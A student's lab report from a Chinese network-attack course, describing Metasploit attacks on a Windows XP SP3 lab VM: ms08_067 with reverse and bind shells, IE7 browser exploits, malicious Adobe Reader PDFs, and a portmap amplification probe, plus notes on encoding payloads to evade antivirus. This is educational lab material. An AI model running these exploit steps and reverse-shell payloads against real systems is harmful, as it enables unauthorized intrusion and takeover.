20145203盖泽双《网络对抗技术》实践五:MSF基础应用
20145203盖泽双《网络对抗技术》实践五:MSF基础应用
1.实践目标
掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路。下面是我自己做的时候用的四个套路。
(1)一个针对Windows XP系统的主动渗透攻击。
(2)一个针对Windows XP系统中IE7的被动渗透攻击。
(3)一个针对Windows XP系统中Adobe Reader v9的被动渗透攻击。
(4)成功应用一个辅助模块。
2.实验后回答问题
(1)用自己的话解释什么是exploit,payload,encode。
exploit:渗透攻击模块,利用靶机的安全漏洞或系统配置上的弱点,将带有攻击程序的载荷发送过去,待靶机运行载荷后,可获得靶机得系统控制权或者其他权限。
payload:攻击载荷模块,是攻击者发送到靶机上的,含有恶意程序的代码。
encode:编码器模块,将攻击载荷进行重新编码,主要有两个作用:①保证攻击载荷得代码中不含有坏字符。比如0x00,是空字节,而在执行代码时常常将0x00误以为是代码的结束字符,使得代码不能够完全运行。②掩盖攻击载荷的病毒特征,实现免杀处理。
3.实验总结与体会
```
这次实验中我做的很多尝试,最大的感触就是不是简单的一个攻击模块就可以对任意的一个系统或者是软件进行攻击的,每个攻击模块可以攻击什么样的系统或软件都是有特别严格的要求的,涉及到什么系统,系统打了什么样的补丁,系统采用的是什么样的语言,系统中的什么软件,软件是什么版本等等……甚至有时候这些条件都满足了也不一定可以攻击成功。这次实验我做了大量的尝试,有很多其实都没有记录下来,怕老师嫌长懒得看,,ԾㅂԾ,,。但是记录的过程好像还是有点繁琐,老师可以跳着看O(∩_∩)O!还有很多不足的地方,会继续努力的(ง •_•)ง!
### 4.实践过程记录
#### (1)主动渗透攻击——利用ms08_067_netapi向Windows XP SP3系统发起攻击
主动渗透攻击:主机中的系统服务通常会开启监听端口等待他们的客户端连接,我们可以利用这一漏洞向系统服务发起主动渗透攻击。比如将包含攻击代码的载荷通过某服务的端口发送到靶机上,等待服务进程运行载荷时,攻击代码发挥作用,我们就可以获得主机的系统控制权。此攻击过程不需要靶机配合。
①在msfconsole下查找针对ms08_067漏洞的攻击模块
search ms08_067
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203758837-504786572.png)
②显示ms08_067_netapi攻击模块的详细信息
info ms08_067_netapi
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203810274-1557472852.png)
③攻击之前确保kali2和靶机之间可以ping通。
ping 192.168.52.128
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203822556-1443673728.png)
④设置攻击模块的参数。
set RHOST 192.168.52.128
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203850524-890447436.png)
⑤查找并选取可以使用的payload。
show payloads
set payload generic/shell_reverse_tcp
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203900899-691819418.png)
⑥设置payload的参数。
set LHOST 192.168.52.131
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203924524-580805560.png)
⑦查看已经设置好的参数。
show options
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203944227-1470389022.png)
⑧攻击成功,获得靶机的系统控制权。在当前目录下和靶机同目录下进行dir操作,进行对比。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416203959056-1761311666.png)
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204019477-1200675689.png)
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416205914352-171444765.png)
⑨改变一下payload再次进行尝试。使用payload:generic/shell_bind_tcp。
reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),payload在靶机执行连接攻击机的端口,这时如果在攻击机监听该端口会发现靶机已经连接。
bind_tcp:攻击机设置一个端口(LPORT),Payload在靶机执行打开该端口,以便攻击机可以接入。
采用reverse的方法一般较为安全,因为是在靶机连接攻击机,所以一般不会被防火墙发现;而bind在靶机打开端口时很容易被安全软件和防火墙发现。
⑩在攻击之前查看ip为192.168.52.128的4444端口是否开启。结果:未开启。下面可以利用payload:generic/shell_bind_tcp攻击了。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204217024-1587923551.png)
⑩①设置好参数,进行攻击,最后攻击成功。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204409274-2042670703.png)
#### (2)被动渗透攻击
被动渗透攻击:所利用的安全漏洞是存在在靶机的客户端软件中的,我们只能针对它的漏洞生成一个浏览器网址,或者其他软件的文件。然后采取手段诱导靶机主动打开这个网址或者文件,然后才可对其进行监听。这也是被动渗透攻击和主动渗透攻击最大的区别。
##### 1、利用ms11_050_mshtml_cobjectelement向Windows XP SP3的IE7发起攻击
①查看此攻击模块的具体信息。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204422056-218978153.png)
②设置攻击模块需要的参数。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204438477-567817701.png)
③启动攻击模块成功进行攻击。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204452806-1926258762.png)
④查看攻击成功后建立的会话。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204506602-532945730.png)
⑤选择此会话,获得XP系统的控制权。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204515806-22206484.png)
##### 2、利用ms12_004_midi向Windows XP SP3的IE7发起攻击
①查看此攻击模块的具体信息。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204523352-687278135.png)
②设置攻击模块需要的参数。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204529087-726448895.png)
③启动攻击模块成功进行攻击。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204535477-681367470.png)
④查看攻击成功后建立的会话,选择此会话,获得XP系统的控制权。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204541321-90342260.png)
##### 3、利用adobe_jbig2decode 向Windows XP SP3的Adobe Reader v9.0.0 发起攻击
①一开始我在攻击XP系统的模块中寻找对Adobe Reader v9.0.0 进行攻击的模块,于是我找到了它。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204604587-371210762.png)
②我对它的详细信息进行查找,看到它确实可以攻击Windows XP SP3中的Adobe Reader v9.0.0 。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204644837-14706593.png)
③设置这个模块的参数。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204652868-1071973851.png)
④攻击成功,获得系统控制权。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204704196-1688042251.png)
⑤这个攻击过程和我攻击IE7的过程非常相似,也是生成了一个网址,在靶机上的IE浏览器中输入这个网址,会弹出一个Adobe Reader v9.0.0的窗口,等待窗口打开后,我们的控制机中就建立了一个ID为1的session会话。虽然过程很简单,但是我不太满意。因为我的小组长直接生成了Adobe Reader 文件,打开后就攻击成功了。于是我想再进行一次尝试。
##### 4、利用adobe_libtiff.rb 向Windows XP SP3的Adobe Reader v9.0.0 发起攻击
①选择adobe_libtiff.rb攻击模块,并设置它的参数。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204720024-1544275030.png)
②执行exploit操作,生成5203.pdf文件。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204728821-506179575.png)
③将5203.pdf文件通过ncat传送到靶机上。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416210014134-1397643676.png)
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416210037556-1657657371.png)
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204823399-673832665.png)
④在kali2中进入到msfconsole的handler控制台,并设置好参数。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204847977-302895545.png)
⑤进行攻击,然后在靶机中打开5203.pdf文件,成功获得靶机控制权。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204859212-2026886492.png)
#### (3)对辅助模块的应用——portmap_amp模块
①查看此模块的具体信息以及作用。
portmap_amp模块作用:该模块可用于发现端口映射服务, 可用于DDoS攻击中。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204909040-487989220.png)
②对此模块的参数进行设置。
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204932681-1105616002.png)
③应用此模块进行攻击。
攻击结果:发送RPC portmap探针向192.168.52.128 -> 192.168.52.128(1台主机)
![](http://images2015.cnblogs.com/blog/890515/201704/890515-20170416204947602-1822230343.png)
20145203盖泽双《网络对抗技术》实践五:MSF基础应用的更多相关文章
- 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用
<网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...
- 2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具 ...
- 2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用 验前准备 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻 ...
- 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...
- 2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用 目录 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi: ...
- 20165214 2018-2019-2 《网络对抗技术》Exp5 MSF基础应用 Week8
<网络对抗技术>Exp5 MSF基础应用 Week8 一.实验目标与内容 1.实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体我 ...
- 2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用 exploit选取 主动攻击:ms17_010_eternalblue(唯一) 浏览器攻击:ms05_054_onlo ...
- 20165308『网络对抗技术』Exp5 MSF基础应用
20165308『网络对抗技术』Exp5 MSF基础应用 一.原理与实践说明 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实 ...
- 2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi:自动化 ...
- 2017-2018-2 20155314《网络对抗技术》Exp5 MSF基础应用
2017-2018-2 20155314<网络对抗技术>Exp5 MSF基础应用 目录 实验内容 实验环境 基础问题回答 预备知识 实验步骤--基于Armitage的MSF自动化漏洞攻击实 ...
随机推荐
- IdentityServer4 中文文档 -4- (简介)打包和构建
IdentityServer4 中文文档 -4- (简介)打包和构建 原文:http://docs.identityserver.io/en/release/intro/packaging.html ...
- c# 键值数据保存XML文件
/// <summary> /// 键值数据保存XML文件 /// </summary> /// <param name="fileName"> ...
- UML速记
依赖:虚线箭头 关联:实线箭头 接口:虚线三角 父类:实线三角 聚合:空心菱形 组合:实心菱形 顺着箭头方向: 依赖于和什么关联是什么的子类是什么的接口的实现是什么的聚合是什么的组合
- httpclient请求服务的各种方法实例
<!--话不多说,直接上代码--> import com.csis.ConfigManagerimport com.csis.io.web.DefaultConfigItemimport ...
- python字典按照value进行排序
先说几个解决的方法,具体的有时间再细说 d = {'a':1,'b':4,'c':2} 字典是这个,然后要对字典按照value进行排序 方法一: sorted(d.items(),key = lamb ...
- Vue学习资料
1. {{ msg }}插值表达式. v-text:将数据插入到页面中,没有闪烁问题. v-cloak:通过style属性选择器的方式display:none:防止闪烁问题. v-html:将标签解析 ...
- vue规格新增一对多的例子
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Django Rest framework 之 权限
django rest framework 之 认证(一) django rest framework 之 权限(二) django rest framework 之 节流(三) django res ...
- web全栈架构师[笔记] — 01 ECMAScript6新特性
ES6新特性 一.变量 var:重复定义不报错:没有块级作用域:不能限制修改 let:变量,不能重复定义,有块级作用域 const:常量,不能重复定义,有块级作用域 二.函数/参数 箭头函数——简写: ...
- 一文学redis操作(记录向)
相关内容: 虽然有参考文档,而且记忆太多也是耗脑,但学习的时候还是想要有个系统划分开知识点的文档,即使不要求去细致记忆,但划分开知识块后脑子里的印象才会更清晰,所以就有了这个博文. 主要是将各种命令进 ...